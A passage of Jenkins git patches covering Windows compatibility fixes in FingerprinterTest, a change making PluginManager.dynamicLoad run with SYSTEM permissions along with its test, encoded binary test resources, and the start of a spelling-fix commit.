assertEquals("{a=f31efcf9afe30617d6c46b919e702822}", action.getRecords().toString()); + if (Functions.isWindows()) { + assertEquals("{a=a97a39fb51de0eee9fd908174dccc304}", action.getRecords().toString()); + } else { + assertEquals("{a=f31efcf9afe30617d6c46b919e702822}", action.getRecords().toString()); + } } @SuppressWarnings("unchecked") @@ -326,7 +335,8 @@ public class FingerprinterTest { j.assertBuildStatusSuccess(p2.scheduleBuild2(0)); j.assertBuildStatusSuccess(p3.scheduleBuild2(0)); - Fingerprint f = j.jenkins._getFingerprint(Util.getDigestOf(singleContents[0]+"\n")); + Fingerprint f = j.jenkins._getFingerprint(Util.getDigestOf(singleContents[0]+System.lineSeparator())); + assertNotNull(f); assertEquals(3,f.getUsages().size()); j.jenkins.rebuildDependencyGraph(); @@ -373,9 +383,15 @@ public class FingerprinterTest { StringBuilder targets = new StringBuilder(); for (int i = 0; i < contents.length; i++) { if (project instanceof MatrixProject) { - ((MatrixProject)project).getBuildersList().add(new Shell("echo " + contents[i] + " > " + files[i])); + ((MatrixProject)project).getBuildersList().add( + Functions.isWindows() + ? new BatchFile("echo " + contents[i] + "> " + files[i]) + : new Shell("echo " + contents[i] + " > " + files[i])); } else { - ((FreeStyleProject)project).getBuildersList().add(new Shell("echo " + contents[i] + " > " + files[i])); + ((FreeStyleProject)project).getBuildersList().add( + Functions.isWindows() + ? new BatchFile("echo " + contents[i] + "> " + files[i]) + : new Shell("echo " + contents[i] + " > " + files[i])); } targets.append(files[i]).append(','); diff --git a/test/src/test/resources/hudson/tasks/FingerprinterTest/actionSerialization.zip b/test/src/test/resources/hudson/tasks/FingerprinterTest/actionSerialization.zip index b56ba95facbd72008542b7dad70a607f205563b2..f18392194c8c5f0d45f2e34cb6d0a979f985b4ac 100644 GIT binary patch literal 6350 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 -- GitLab From 6fb9e91b63521eb8cdcd072cec6610d856aabf34 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sun, 12 Feb 2017 05:36:48 -0500 Subject: [PATCH 626/712] [JENKINS-41684] Ensure that PluginManager.dynamicLoad runs as SYSTEM (#2732) * [FIXED JENKINS-41684] Ensure that PluginManager.dynamicLoad runs as SYSTEM. Test plugin source: package test; import hudson.Plugin; import jenkins.model.Jenkins; public class ThePlugin extends Plugin { @Override public void postInitialize() throws Exception { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); } } * @daniel-beck wants this all reindented. --- core/src/main/java/hudson/PluginManager.java | 158 +++++++++--------- .../test/java/hudson/PluginManagerTest.java | 14 ++ .../plugins/require-system-during-load.hpi | Bin 0 -> 5151 bytes 3 files changed, 94 insertions(+), 78 deletions(-) create mode 100644 test/src/test/resources/plugins/require-system-during-load.hpi diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 8673d99ee4..495ba7ee3f 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -819,100 +819,102 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas */ @Restricted(NoExternalUse.class) public void dynamicLoad(File arc, boolean removeExisting) throws IOException, InterruptedException, RestartRequiredException { - LOGGER.info("Attempting to dynamic load "+arc); - PluginWrapper p = null; - String sn; - try { - sn = strategy.getShortName(arc); - } catch (AbstractMethodError x) { - LOGGER.log(WARNING, "JENKINS-12753 fix not active: {0}", x.getMessage()); - p = strategy.createPluginWrapper(arc); - sn = p.getShortName(); - } - PluginWrapper pw = getPlugin(sn); - if (pw!=null) { - if (removeExisting) { // try to load disabled plugins - for (Iterator i = plugins.iterator(); i.hasNext();) { - pw = i.next(); - if(sn.equals(pw.getShortName())) { - i.remove(); - pw = null; - break; + try (ACLContext context = ACL.as(ACL.SYSTEM)) { + LOGGER.info("Attempting to dynamic load "+arc); + PluginWrapper p = null; + String sn; + try { + sn = strategy.getShortName(arc); + } catch (AbstractMethodError x) { + LOGGER.log(WARNING, "JENKINS-12753 fix not active: {0}", x.getMessage()); + p = strategy.createPluginWrapper(arc); + sn = p.getShortName(); + } + PluginWrapper pw = getPlugin(sn); + if (pw!=null) { + if (removeExisting) { // try to load disabled plugins + for (Iterator i = plugins.iterator(); i.hasNext();) { + pw = i.next(); + if(sn.equals(pw.getShortName())) { + i.remove(); + pw = null; + break; + } } + } else { + throw new RestartRequiredException(Messages._PluginManager_PluginIsAlreadyInstalled_RestartRequired(sn)); } - } else { - throw new RestartRequiredException(Messages._PluginManager_PluginIsAlreadyInstalled_RestartRequired(sn)); } - } - if (p == null) { - p = strategy.createPluginWrapper(arc); - } - if (p.supportsDynamicLoad()== YesNoMaybe.NO) - throw new RestartRequiredException(Messages._PluginManager_PluginDoesntSupportDynamicLoad_RestartRequired(sn)); + if (p == null) { + p = strategy.createPluginWrapper(arc); + } + if (p.supportsDynamicLoad()== YesNoMaybe.NO) + throw new RestartRequiredException(Messages._PluginManager_PluginDoesntSupportDynamicLoad_RestartRequired(sn)); - // there's no need to do cyclic dependency check, because we are deploying one at a time, - // so existing plugins can't be depending on this newly deployed one. + // there's no need to do cyclic dependency check, because we are deploying one at a time, + // so existing plugins can't be depending on this newly deployed one. - plugins.add(p); - if (p.isActive()) - activePlugins.add(p); - synchronized (((UberClassLoader) uberClassLoader).loaded) { - ((UberClassLoader) uberClassLoader).loaded.clear(); - } - - try { - p.resolvePluginDependencies(); - strategy.load(p); + plugins.add(p); + if (p.isActive()) + activePlugins.add(p); + synchronized (((UberClassLoader) uberClassLoader).loaded) { + ((UberClassLoader) uberClassLoader).loaded.clear(); + } - Jenkins.getInstance().refreshExtensions(); + try { + p.resolvePluginDependencies(); + strategy.load(p); - p.getPlugin().postInitialize(); - } catch (Exception e) { - failedPlugins.add(new FailedPlugin(sn, e)); - activePlugins.remove(p); - plugins.remove(p); - throw new IOException("Failed to install "+ sn +" plugin",e); - } + Jenkins.getInstance().refreshExtensions(); - // run initializers in the added plugin - Reactor r = new Reactor(InitMilestone.ordering()); - final ClassLoader loader = p.classLoader; - r.addAll(new InitializerFinder(loader) { - @Override - protected boolean filter(Method e) { - return e.getDeclaringClass().getClassLoader() != loader || super.filter(e); + p.getPlugin().postInitialize(); + } catch (Exception e) { + failedPlugins.add(new FailedPlugin(sn, e)); + activePlugins.remove(p); + plugins.remove(p); + throw new IOException("Failed to install "+ sn +" plugin",e); } - }.discoverTasks(r)); - try { - new InitReactorRunner().run(r); - } catch (ReactorException e) { - throw new IOException("Failed to initialize "+ sn +" plugin",e); - } - // recalculate dependencies of plugins optionally depending the newly deployed one. - for (PluginWrapper depender: plugins) { - if (depender.equals(p)) { - // skip itself. - continue; + // run initializers in the added plugin + Reactor r = new Reactor(InitMilestone.ordering()); + final ClassLoader loader = p.classLoader; + r.addAll(new InitializerFinder(loader) { + @Override + protected boolean filter(Method e) { + return e.getDeclaringClass().getClassLoader() != loader || super.filter(e); + } + }.discoverTasks(r)); + try { + new InitReactorRunner().run(r); + } catch (ReactorException e) { + throw new IOException("Failed to initialize "+ sn +" plugin",e); } - for (Dependency d: depender.getOptionalDependencies()) { - if (d.shortName.equals(p.getShortName())) { - // this plugin depends on the newly loaded one! - // recalculate dependencies! - try { - getPluginStrategy().updateDependency(depender, p); - } catch (AbstractMethodError x) { - LOGGER.log(WARNING, "{0} does not yet implement updateDependency", getPluginStrategy().getClass()); + + // recalculate dependencies of plugins optionally depending the newly deployed one. + for (PluginWrapper depender: plugins) { + if (depender.equals(p)) { + // skip itself. + continue; + } + for (Dependency d: depender.getOptionalDependencies()) { + if (d.shortName.equals(p.getShortName())) { + // this plugin depends on the newly loaded one! + // recalculate dependencies! + try { + getPluginStrategy().updateDependency(depender, p); + } catch (AbstractMethodError x) { + LOGGER.log(WARNING, "{0} does not yet implement updateDependency", getPluginStrategy().getClass()); + } + break; } - break; } } - } - // Redo who depends on who. - resolveDependantPlugins(); + // Redo who depends on who. + resolveDependantPlugins(); - LOGGER.info("Plugin " + p.getShortName()+":"+p.getVersion() + " dynamically installed"); + LOGGER.info("Plugin " + p.getShortName()+":"+p.getVersion() + " dynamically installed"); + } } @Restricted(NoExternalUse.class) diff --git a/test/src/test/java/hudson/PluginManagerTest.java b/test/src/test/java/hudson/PluginManagerTest.java index e7bb69de1b..f68cf85dcb 100644 --- a/test/src/test/java/hudson/PluginManagerTest.java +++ b/test/src/test/java/hudson/PluginManagerTest.java @@ -30,7 +30,10 @@ import hudson.model.Hudson; import hudson.model.UpdateCenter; import hudson.model.UpdateCenter.UpdateCenterJob; import hudson.model.UpdateSite; +import hudson.model.User; import hudson.scm.SubversionSCM; +import hudson.security.ACL; +import hudson.security.ACLContext; import hudson.util.FormValidation; import hudson.util.PersistedList; import java.io.File; @@ -53,6 +56,7 @@ import org.junit.Test; import org.junit.rules.TemporaryFolder; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.MockAuthorizationStrategy; import org.jvnet.hudson.test.Url; import org.jvnet.hudson.test.recipes.WithPlugin; import org.jvnet.hudson.test.recipes.WithPluginManager; @@ -444,6 +448,16 @@ public class PluginManagerTest { assertTrue(pluginInfo.getString("dependencies") != null); } + @Issue("JENKINS-41684") + @Test + public void requireSystemDuringLoad() throws Exception { + r.jenkins.setSecurityRealm(r.createDummySecurityRealm()); + r.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy()); + try (ACLContext context = ACL.as(User.get("underprivileged").impersonate())) { + dynamicLoad("require-system-during-load.hpi"); + } + } + private void dynamicLoad(String plugin) throws IOException, InterruptedException, RestartRequiredException { PluginManagerUtil.dynamicLoad(plugin, r.jenkins); } diff --git a/test/src/test/resources/plugins/require-system-during-load.hpi b/test/src/test/resources/plugins/require-system-during-load.hpi new file mode 100644 index 0000000000000000000000000000000000000000..a0b717afcd90d9625bf50c0e14797c8e128d7073 GIT binary patch literal 5151 zcmb_g2{@E%8y=+WG)A&!jVxo02pL-jO=B5@%045Ebqum3$(k*qNMx5SWDi+VNT?x^ znk?C}8%&n`9f9IU*T-X15(?9ig8yMg13;3^KrO3w1{45*CnW#?`q}Ip1P0a7HZ}pD(}^*B4{Mb^ z+T`}eXFAu?%T=>|E;i&aO}H?N+d2GBw8mf$FHJ)uPn&310W?v85JY0SFC+ZcnkSIj zF4U9*nsqcgeUz*G&?@y5km+MWFQpC@RW}5(^&*<+^juLLjbWzCZeo9Pf63(pHK9ru zBGO)Jz6)x1gC^J#1Kb~^&U^KUbwmXFNHM_uE1ASBd<9LQxoB#gmz=d`^gS2xPl2$o zV8o}iYs0jt5H+iGSG2lPf)rXv(T{$_M!wXE7I94~FDQFUW?7ZHK5b*=^X2l^g3mcr zoyD&r=w);uMmKGVwv~@&YC9qnP?at?BXCxp%&Fna2;oSd8W2~ zBnJP){mrSFgq(Z01;;JTnxioRHd6Q1@|X<|Wn-I>Vh&yWbC6l(+j2n6*Lv4z#<(cN zb-W{--6YI6`cSm=CSafaUz0>bW*@1o@uwX9YQ^xA6~@u_r)=&e-Q_TS3Z887fSl32 zZ0_S>9PLo9SQHlQ>w>9*Ltt&vEDfts2(X$`Ga~{j24>@f2%c1FuDH|RZXSN=iBnKq z=C$ciuKa<^4&LZ$bKX3Fzy0#9;o178LO`d^lq05S$|l#X5asjwMra#HXVU$%!2$y2 zH%zJBZXM8W>5%E&C`H_Q;TKMvg;uWNG@x`0BD=PjO+M)+RByp&QCg9CS#~*|ERR`{ zNHHjJa;BOvQgUcuXZ;Li3hl1iYK9FT_Qba&sKk~Mn~@^sFfR<&7p`&@)}~9lxh6>D z_PK0~y;7`CQ>phqv`;F{Z*RU|Tga14GMh|{0D#z^NU)XiM0wyGJyDX_D_Ad- zi=;iy)6vyI660oL4|cNgEHS-us^6den0!TO-U;W6`W@0Cel9YD33V|j1`fd*jGgq! zo9Jj=vB~4dE3^d#oI$AglDP{)ky-G!6*&WbiS_u#56+Prff@P!S9`yXZ>dbJDiH|g zO;ZmfeHCZ`O;MV)kxJGnOW6Ld?jAFqNR8$`LN^Iu7RynKrgP||2Egkm085^7;&vdQ zO*MhZDKw&NMti_10%@ci8-r5*8h?)Kc(0to>irM=dgZeh85Cz+6GxvImp8(Mg}6A1 zJ_I>gk}4)+!FT3^)kiq|Y3);e{Z<};{KrA=AfauQNead5;rRpad^1l3Y`SO1-a2Hc z#n)(5Jic=J4a|DCB=C6`qasrPg(5s&#uYEp@aUr7JU-7)QGWWU0SymasCafd-#WaT z2oP9+CM(la^UM`fW@=oQrh?}Cla?83v9d#Lx>5%xGYha6%X)DeF>Tv-@nyxvGxVv8 zjJYopC)FC3YzNU#J3cw~G#(Qxh?K5Yol=-L^};p~T?-VNBD88k^H7en>%NRZyeb|g zuCp#4Hru#Ww78M#HoiKd=lw^X`f(YKNTT8mYCLc`g0-~l<&wnVdoeSWPQ`@|H%D@o zZ+r{A#5cD1d1C3@Edv905ei8(`xtwZ%*Am*z|Q#u>7s-K7QBI+>9hLHqmE^3^TFI} zE%<D>%dad=r6i#uPRpPa&-6KLYZx`dCs z3PQHZSfQ|{=F8=@GsSiOiMRry8z*(N-cWil=L8&mR0T0c8h@$1?ysM|vR?4DdX6$m zj{loeL#L(&^^r^`8H%nO$$(1kW2@D_?DPw>_!`T6acsl7jc2iL3280mg$LrJ{K1V?q|083;<7rv}Zxv^pa(ZE|d{Tj=~4 zvw^P~D$O1GYl@LwCZeumAiNsh#K>zeMLD~7Fh)FUN& zPj?QmpARc>D_&}p37zdc;jwazHwk_H||>089fpB@~nJNDsy_y0xTcc zkv^*xRkT%+oH*%zTD2nuHU+vUAqB8rZyWgt0`|vgHH4ODtzC{VHGo8IdAsvV(T*n2 z2mobtJBvj@+F32>jIBxSl?o_RgnH^FVD@ut!Z5*WJ=si?*p)$epiGk>Ym#*2bM<+y zkhbpSxty8XF3N&~FqaJd$BnTu-qI@`2n)=7X0@8lM|rt*x7aEz2TP%z9%M}n^6`$& zc5JjeLPa>X5yPV+?UZ%o{OvpjMOOs4FM^$(>mK&25qmHfIL(-6uDyB!Ls&#@@lQ>3ab2viK%)eSt63;uH@vgRaWN0o>m)Ena9Y8`r{+{I>7p^^a&AGl#QIFF zcgr72zy6vW@x-@|LX@zon*u#;J%YYd;xkuS?5t87Li@=+Q=UEg#sjU2G5w9!odZdJ zH;}Xkxe9Mn;B@7oS}lT^c86wr-69J{jK99&dMg~%eO6dLC-6mfb@%pUBLtXuK|Q5; zQ&LAWWawzQ-F)EdHFh3P=8;riBIi1okQ)jfjJmN_w>dd`J+5#@#oYSr>8g_|YLb|D z#O`zInQ2Vz#;hdvjF(I@+5H-iMig0+>!W0oZr?O1m&s*Bqz?^Su?m>Z>Cc}gO-|ue z@>rL{Z=M`jS&TdHnmE&z0rlm>+W{H8SA<&{fZC|+%4cd~v0TyIykcdiGT$>wat7U6S(@*dl9C&FY)D>`>2QGTR$E2tC6)x-eMEGo7 zLI0f>N==@X2fp+Md2?2C6kb1S`;m9}RjM=*hfeB=l*F|RGOcDQ4IRM3Y`Ckok@d~@ z^p>9+2h#Ws=b`B-!oox!sIufLJy=ZMVm($F5WNDwAzbT&)XK*lqBFr?&@i`N;r5Ah zc_dj9Sg3$bRu%*C-S>M%di%I|S^s?i2mj~lD@=xT&ELLI%iu_WhpT3|na3H#^ww4W z3cC}6Gti;rv2sqR-9)jYo}e}@|La$N`LGqzwL%6ovy0XRcaM-OZ>=7E0~$6v+ckHg zzPP;`{_>WPa5$%-XQgUn*+RT6Vcej!iala&xtWdh;^M9ZNdJzdbFNuEQDrcS+U}(L z+GQ)sN%!4e$kS8|`B~uJXG{OS-I}z>V$xbaqjPu0S__?cvkM_)F#YTo)>b4-6d))- zO|sp!gtiLwMDWbqm-h`83!WuY)}5aXn}Rkx)Gq+8Je8&QXwu>ZeCo^CA$@Oje(ejH z$&JqU7T?9j8|C`FHT>0B@K<9uPY19Q%GKG?6)S1y2=+o@z5W3}?cV|XeYf=;n+Cv5 z?prN;9}=_43MBC$0HFOpW4pV#{MP6q&S8h8SsGWxt4D+>ps5UYX^zYs2~f_wc$gbU zyJRvX-ce;l?yWd4U(uQ2=Of-P!-odPsntNuN%Y7$&ohK+7hcMHV z-QzkTE%7@6wHf2j*+eR&li4GuH>`KtV(i8rZ-|Y)E!uKGkZ4A!>;u24`11CZK(}N} zqfEuvzQ*(HZ-!MzWB) zVmeU#pTIO9<9O#xsFMy`vo)B=o^L@@UUvkgGh|sKIOsXjg(mGE8#{_V)45!OKt>$T z0h`^^xCc{<15cYji)D>zI^8tsF7;Nx$4fLKtWUVVC%3FqE0|-B6_`u?j8%PXv;e{G z(>HSK*&VZD^QzhYd8wr`>n=0|1pD_g-BU(v8889S%i|c=(GAHi!T-i zAZ5}w%W=c8r{b!J#Y^&cXH~te?$&Ow|5>+|DnI+gzSi2-A&F`2 z%qa$c?#x0+)rY*9)Fa*@Vf98OX7Pg5grbUsHk3bCEK-s?d|PQqtxWvbbjCz>T7kjQ zMCr6?*F2)zbGPF<9D{e4Bwf%eu%_$fW8}Syf)Yga_XiZ@36lp4U>>q}|Gt;~aQo{6 zi#_ALkrOOJzJ7Q6>G;=vx%jSK_{7+tcBK(Kf%b&b{m*o2s{aug# zw1r|Kb%>}{CrQu@6LZ+Uj80%ufY5OH2imfe?NJ0x!I5P*9B)kT264u{~YU& x^7C`Zy|bDBUfn-JJ|=VjFZlY0>FtI5vDV@G)Z{t}0ML^^PE-Iu2Fu>B{{Xx9Q6&HX literal 0 HcmV?d00001 -- GitLab From 496703d0fe133445e10c7d8d07fa7afd351c8854 Mon Sep 17 00:00:00 2001 From: Josh Soref Date: Sun, 12 Feb 2017 05:38:30 -0500 Subject: [PATCH 627/712] Spelling fixes in changelogs, Javadoc, logs and UI (#2718) * spelling: abstract * spelling: about * spelling: absolute * spelling: across * spelling: activity * spelling: actually * spelling: addition * spelling: allocating * spelling: ambiguous * spelling: analyzes * spelling: analysis * spelling: another * spelling: appear * spelling: arbitrary * spelling: artifact * spelling: assignment * spelling: associated * spelling: augment * spelling: authentication * spelling: automatically * spelling: available * spelling: availability * spelling: because * spelling: background * spelling: beginning * spelling: boolean * spelling: browsers * spelling: building * spelling: calculation * spelling: channel * spelling: column * spelling: concatenation * spelling: connect * spelling: contribute * spelling: convert * spelling: copied * spelling: couldn't * spelling: scrambled * spelling: creates-a * spelling: curr-entry * spelling: customize * spelling: diagnostic * spelling: contain * spelling: default * spelling: delimiter * spelling: descriptor * spelling: disambiguates * spelling: different * spelling: diligently * spelling: disabled * spelling: discovered * spelling: display * spelling: doesn't * spelling: dollar * spelling: downstream * spelling: dynamically * spelling: preemptively * spelling: encrypt * spelling: erroneous * spelling: examine * spelling: existence * spelling: value * spelling: february * spelling: handling * spelling: hostname * spelling: convenient * spelling: identify * spelling: implementation * spelling: incorrect * spelling: individual * spelling: initialization * spelling: initialized * spelling: inputstream * spelling: instantiated * spelling: instantiation * spelling: intended * spelling: interpreted * spelling: interrupted * spelling: invocations * spelling: kern * spelling: localization * spelling: logger * spelling: malfunctioning * spelling: methods * spelling: monitor * spelling: mutator * spelling: multiple * spelling: object * spelling: configured * spelling: optionally * spelling: option * spelling: overridden * spelling: parameterized * spelling: parent * spelling: permissions * spelling: plugin * spelling: potentially * spelling: preferable * spelling: problems like * spelling: programmatically * spelling: property * spelling: reallocate * spelling: recommended * spelling: redirected * spelling: registered * spelling: reliable * spelling: remember * spelling: recurrence * spelling: repeatable * spelling: repeated * spelling: resource * spelling: retrieve * spelling: returned * spelling: revision * spelling: sandwich * spelling: separator * spelling: serialization * spelling: settings * spelling: shadow * spelling: should * spelling: someone * spelling: source * spelling: specified * spelling: style * spelling: subversion * spelling: sufficient * spelling: supplementary * spelling: suppressing * spelling: synchronization * spelling: synchronized * spelling: this * spelling: transitioning * spelling: termination * spelling: trying * spelling: truncatable * spelling: unknown * spelling: undeployed * spelling: unnecessary * spelling: unparseable * spelling: update * spelling: upper * spelling: verify * spelling: visible * spelling: warning * spelling: we're * spelling: whitespace * spelling: wide * spelling: with * spelling: workspace * spelling: yielding * spelling: to * spelling: by * spelling: the * spelling: hours --- changelog.html | 32 +++++++++---------- core/pom.xml | 2 +- core/src/main/java/hudson/BulkChange.java | 4 +-- core/src/main/java/hudson/FilePath.java | 4 +-- .../FileSystemProvisionerDescriptor.java | 2 +- core/src/main/java/hudson/Functions.java | 2 +- core/src/main/java/hudson/Launcher.java | 2 +- .../main/java/hudson/LocalPluginManager.java | 2 +- core/src/main/java/hudson/Plugin.java | 2 +- core/src/main/java/hudson/PluginManager.java | 10 +++--- .../main/java/hudson/ProxyConfiguration.java | 2 +- core/src/main/java/hudson/WebAppMain.java | 2 +- .../main/java/hudson/cli/BuildCommand.java | 2 +- core/src/main/java/hudson/cli/CLICommand.java | 4 +-- .../cli/handlers/ViewOptionHandler.java | 2 +- .../impl/InstallUncaughtExceptionHandler.java | 2 +- .../main/java/hudson/init/package-info.java | 2 +- .../main/java/hudson/model/AbstractBuild.java | 2 +- .../java/hudson/model/AbstractProject.java | 4 +-- .../main/java/hudson/model/Actionable.java | 2 +- .../model/ChoiceParameterDefinition.java | 2 +- core/src/main/java/hudson/model/Computer.java | 4 +-- .../main/java/hudson/model/Descriptor.java | 4 +-- core/src/main/java/hudson/model/Job.java | 2 +- .../hudson/model/JobPropertyDescriptor.java | 2 +- core/src/main/java/hudson/model/Label.java | 2 +- .../main/java/hudson/model/PageDecorator.java | 2 +- .../hudson/model/ParameterDefinition.java | 2 +- .../java/hudson/model/ParameterValue.java | 2 +- .../hudson/model/PermalinkProjectAction.java | 2 +- core/src/main/java/hudson/model/Queue.java | 4 +-- core/src/main/java/hudson/model/Run.java | 4 +-- core/src/main/java/hudson/model/Slave.java | 6 ++-- .../main/java/hudson/model/TaskAction.java | 2 +- .../main/java/hudson/model/UpdateCenter.java | 2 +- .../main/java/hudson/model/UpdateSite.java | 2 +- .../java/hudson/model/UsageStatistics.java | 2 +- core/src/main/java/hudson/model/User.java | 10 +++--- .../hudson/model/listeners/ItemListener.java | 2 +- .../hudson/model/listeners/SCMListener.java | 2 +- .../AbstractAsyncNodeMonitorDescriptor.java | 2 +- .../AbstractNodeMonitorDescriptor.java | 2 +- .../org/apache/tools/tar/TarInputStream.java | 6 ++-- core/src/main/java/hudson/os/SU.java | 2 +- .../java/hudson/scheduler/BaseParser.java | 2 +- core/src/main/java/hudson/search/Search.java | 4 +-- .../security/BasicAuthenticationFilter.java | 4 +-- .../main/java/hudson/security/Permission.java | 2 +- .../java/hudson/slaves/ComputerLauncher.java | 6 ++-- .../java/hudson/slaves/NodeDescriptor.java | 2 +- .../java/hudson/slaves/RetentionStrategy.java | 2 +- .../java/hudson/slaves/SlaveComputer.java | 2 +- core/src/main/java/hudson/tasks/Maven.java | 2 +- 